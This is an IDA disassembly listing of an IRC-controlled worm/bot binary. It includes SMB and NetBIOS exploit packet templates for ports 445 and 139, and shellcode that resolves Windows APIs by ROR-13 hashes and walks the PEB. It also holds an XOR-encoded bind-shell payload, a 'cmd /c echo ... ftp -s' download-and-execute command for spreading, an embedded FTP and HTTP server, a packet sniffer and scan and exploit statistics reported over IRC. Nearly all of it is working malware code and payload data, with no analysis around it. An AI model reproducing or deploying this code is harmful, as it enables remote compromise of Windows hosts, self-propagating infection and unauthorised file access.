0BBh db 0BBh ; db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_425568 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4255B0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_4255F4 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_402C5D+B2o align 4 dword_425644 dd 10FF8h, 0 ; DATA XREF: sub_402C5D+6Ao dword_42564C dd 10FF8h ; DATA XREF: sub_402C5D+79o dword_425650 dd 7FFDF020h, 0 ; DATA XREF: sub_402C5D+162o dword_425658 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403087+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4256E0 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403087+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_425710 dd 0 ; DATA XREF: sub_403087+44o dd 800000D4h, 0 unk_42571C db 81h ; ; DATA XREF: sub_403161+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 8 byte_425768 db 41h ; DATA XREF: sub_4031FF+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_4257AC proc near ; DATA XREF: sub_40345C+80o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4258A8 push dword ptr [esi] push 63D61209h call sub_4258BE mov [esi+8], eax call sub_425871 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4258BE mov [esi+0Ch], eax call sub_425823 push dword ptr [esi+4] push 4C0297FAh call sub_4258BE xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4257AC endp ; =============== S U B R O U T I N E ======================================= sub_425823 proc near ; CODE XREF: sub_4257AC+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_42584C mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_425823 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42584C proc near ; CODE XREF: sub_425823+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42585B: ; CODE XREF: sub_42584C+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_425868 inc ebx jmp short loc_42585B ; --------------------------------------------------------------------------- loc_425868: ; CODE XREF: sub_42584C+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_42584C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425871 proc near ; CODE XREF: sub_4257AC+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_425889: ; CODE XREF: sub_425871+1Ej cmp [ecx], ebx jz short loc_425891 mov ecx, [ecx] jmp short loc_425889 ; --------------------------------------------------------------------------- loc_425891: ; CODE XREF: sub_425871+1Aj mov edx, edi loc_425893: ; CODE XREF: sub_425871+2Aj cmp [edx+4], ebx jz short loc_42589D mov edx, [edx+4] jmp short loc_425893 ; --------------------------------------------------------------------------- loc_42589D: ; CODE XREF: sub_425871+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_425871 endp ; =============== S U B R O U T I N E ======================================= sub_4258A8 proc near ; CODE XREF: sub_4257AC+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4258A8 endp ; =============== S U B R O U T I N E ======================================= sub_4258BE proc near ; CODE XREF: sub_4257AC+16p ; sub_4257AC+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4258D4: ; CODE XREF: sub_4258BE+33j jecxz short loc_42590E dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4258E1: ; CODE XREF: sub_4258BE+2Dj lodsb cmp al, ah jz short loc_4258ED ror edi, 0Dh add edi, eax jmp short loc_4258E1 ; --------------------------------------------------------------------------- loc_4258ED: ; CODE XREF: sub_4258BE+26j cmp edi, [esp+20h+arg_0] jnz short loc_4258D4 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_42590E: ; CODE XREF: sub_4258BE:loc_4258D4j ; sub_4258BE:loc_42590Ej jmp short loc_42590E sub_4258BE endp ; --------------------------------------------------------------------------- dd 0 ; =============== S U B R O U T I N E ======================================= sub_425914 proc near ; DATA XREF: sub_40345C+30o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_425966 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_425931: ; CODE XREF: sub_425914+38j jecxz short loc_425961 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_42593C: ; CODE XREF: sub_425914+32j lodsb test al, al jz short loc_425948 ror edx, 0Dh add edx, eax jmp short loc_42593C ; --------------------------------------------------------------------------- loc_425948: ; CODE XREF: sub_425914+2Bj cmp edx, [esp+arg_0] jnz short loc_425931 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_425961: ; CODE XREF: sub_425914:loc_425931j mov [esp+arg_0], ebx retn sub_425914 endp ; =============== S U B R O U T I N E ======================================= sub_425966 proc near ; CODE XREF: sub_425914+7p ; FUNCTION CHUNK AT 0042599E SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_42597F mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42598A ; --------------------------------------------------------------------------- loc_42597F: ; CODE XREF: sub_425966+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42598A: ; CODE XREF: sub_425966+14j pop edi xor esi, esi pusha push esi jmp short loc_42599E sub_425966 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425991 proc near ; CODE XREF: sub_425966:loc_42599Ep push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_425991 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425966 loc_42599E: ; CODE XREF: sub_425966+29j call sub_425991 loc_4259A3: ; DATA XREF: sub_402C02+1Bo ; sub_40D2E0+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_425966 ; --------------------------------------------------------------------------- db 3 dup(0) dword_4259A8 dd 60h ; DATA XREF: sub_402C5D+320o dword_4259AC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_402C5D+2F5o dword_4259B8 dd 30h ; DATA XREF: sub_402C5D+2CAo dword_4259BC dd 0A1h ; DATA XREF: sub_402C5D+29Fo dword_4259C0 dd 3 ; DATA XREF: sub_402C5D+246o aCccc db 'CCCC',0 ; DATA XREF: sub_402C5D+153o align 4 loc_4259CC: ; DATA XREF: sub_402C5D+E8o jmp short near ptr dword_4259D4 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4259D4 dd 0 ; CODE XREF: _2:loc_4259CCj aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40345C+55o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403A1B+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_403A1B+5BCo ; sub_40D2E0+537o align 10h a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_403A1B+5AFo align 4 unk_425A94 db 3 ; DATA XREF: sub_403A1B+564o db 31h, 32h, 6Eh db 2 db 7Ah, 1Fh, 6Dh db 1Fh db 20h, 28h, 66h db 74h ; t db 70h, 64h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 3 a8SPortDNowExec db '8 %s, port:%d now executing %s on remote ABOSAL7.',0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403A1B+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_403A1B+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_403A1B+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403A1B+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403A1B+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403A1B+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403A1B+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_403A1B+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403A1B+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_403A1B+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_403A1B+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_403A1B+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403A1B+38Co aI: ; DATA XREF: sub_403A1B+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403A1B+351o aA: ; DATA XREF: sub_403A1B+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_403A1B+326o ; sub_403A1B+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403A1B+316o align 10h off_425C40 dd offset dword_445750 ; DATA XREF: sub_403A1B+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403A1B+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_403A1B+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_403A1B+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_403A1B+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403A1B+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_403A1B+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403A1B+286o align 10h aUser_0 db 'USER',0 ; DATA XREF: sub_403A1B+271o align 4 aSS db '%s %s',0 ; DATA XREF: sub_403A1B+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403A1B+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_40409E+24o ; sub_40525F+12Eo ... align 4 unk_425CDC db 2 ; DATA XREF: sub_404138+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_425D20 db 0Dh,0Ah,0 ; DATA XREF: sub_404138+2CFo align 4 asc_425D24: ; DATA XREF: sub_404138+293o ; sub_40D2E0+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_404138+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404593+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404593+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_404593+98o ; sub_409F1E+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404593+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_404593:loc_4045F9o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_404593+5Fo align 4 unk_425F44 db 2 ; DATA XREF: sub_404716+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_425F8C db 2 ; DATA XREF: sub_404716+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_425FCC: ; DATA XREF: sub_404716+15Ao unicode 0, <*>,0 asc_425FD0: ; DATA XREF: sub_404716+FBo ; sub_4049CD+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_404716+EAo ; sub_4049CD+4DAo ... align 4 aS_2 db '%s',0 ; DATA XREF: sub_404716+3Ao ; sub_4099D6+4Co ... align 10h aS_3 db '\%s',0 ; DATA XREF: sub_404716+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4049CD+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4049CD+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4049CD+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4049CD:loc_404EF5o align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4049CD+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4049CD+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4049CD+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4049CD:loc_404D87o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4049CD+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_4049CD+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4049CD+328o ; sub_4049CD+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4049CD+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_4049CD+2E9o ; sub_4049CD+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4049CD+2BFo aAm db 'AM',0 ; DATA XREF: sub_4049CD+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_4049CD+28Ao align 4 a__1: ; DATA XREF: sub_4049CD+252o unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_4049CD+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4049CD+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4049CD+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4049CD+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4049CD+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4049CD+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40513E+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_426488 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40525F+493o dword_426494 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_40525F+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_4264E8 db 2 ; DATA XREF: sub_40525F+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42651C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_40525F+399o dword_426530 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_40525F+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_426578 db 2 ; DATA XREF: sub_40525F+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_4265AC db 2 ; DATA XREF: sub_40525F+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h aOctet db 'octet',0 ; DATA XREF: sub_40525F+Fo align 4 aAsn445 db 'asn445',0 ; DATA XREF: sub_405DAD+169o align 10h dd 73610000h, 6D73316Eh, 62h, 5 dup(0) dword_426620 dd 1BDh ; DATA XREF: sub_405756+1Er ; sub_40D2E0+30B3r ... off_426624 dd offset sub_40345C ; DATA XREF: sub_405DAD+1EAr dword_426628 dd 0 ; DATA XREF: sub_40345C+1BAw ; sub_40345C+1C0r ... dword_42662C dd 1 ; DATA XREF: sub_405898+1Fr dword_426630 dd 1 ; DATA XREF: sub_405898:loc_405B09r aAsn139 db 'asn139',0 align 4 dd 73610000h, 6D73316Eh, 746E62h, 5 dup(0) dd 8Bh, 40345Ch, 0 ; CODE XREF: sub_4266AE:loc_4266C3j dd 2 dup(1), 0Fh dup(0) ; --------------------------------------------------------------------------- jmp short loc_4266BE ; =============== S U B R O U T I N E ======================================= sub_4266AE proc near ; CODE XREF: sub_4266AE:loc_4266BEp pop edx dec edx xor ecx, ecx mov cx, 166h loc_4266B6: ; CODE XREF: sub_4266AE+Cj xor byte ptr [edx+ecx], 99h loop loc_4266B6 jmp short loc_4266C3 ; --------------------------------------------------------------------------- loc_4266BE: ; CODE XREF: _2:004266ACj call sub_4266AE loc_4266C3: ; CODE XREF: sub_4266AE+Ej jo short near ptr dword_42665C+2 cwde cdq cdq retn sub_4266AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_405756+82o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_405756+42o align 4 unk_42684C db 2 ; DATA XREF: sub_405756+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 10h unk_426880 db 2 ; DATA XREF: sub_405821+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_4268B0 db 2 ; DATA XREF: sub_405821+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 10h unk_4268E0 db 2 ; DATA XREF: sub_405898+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_426924 db 2 ; DATA XREF: sub_405898+307o ; sub_40D2E0+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 10h dword_426970 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_405898+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 10h dword_4269B0 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_405898+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 10h unk_426A00 db 2 ; DATA XREF: sub_405898+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 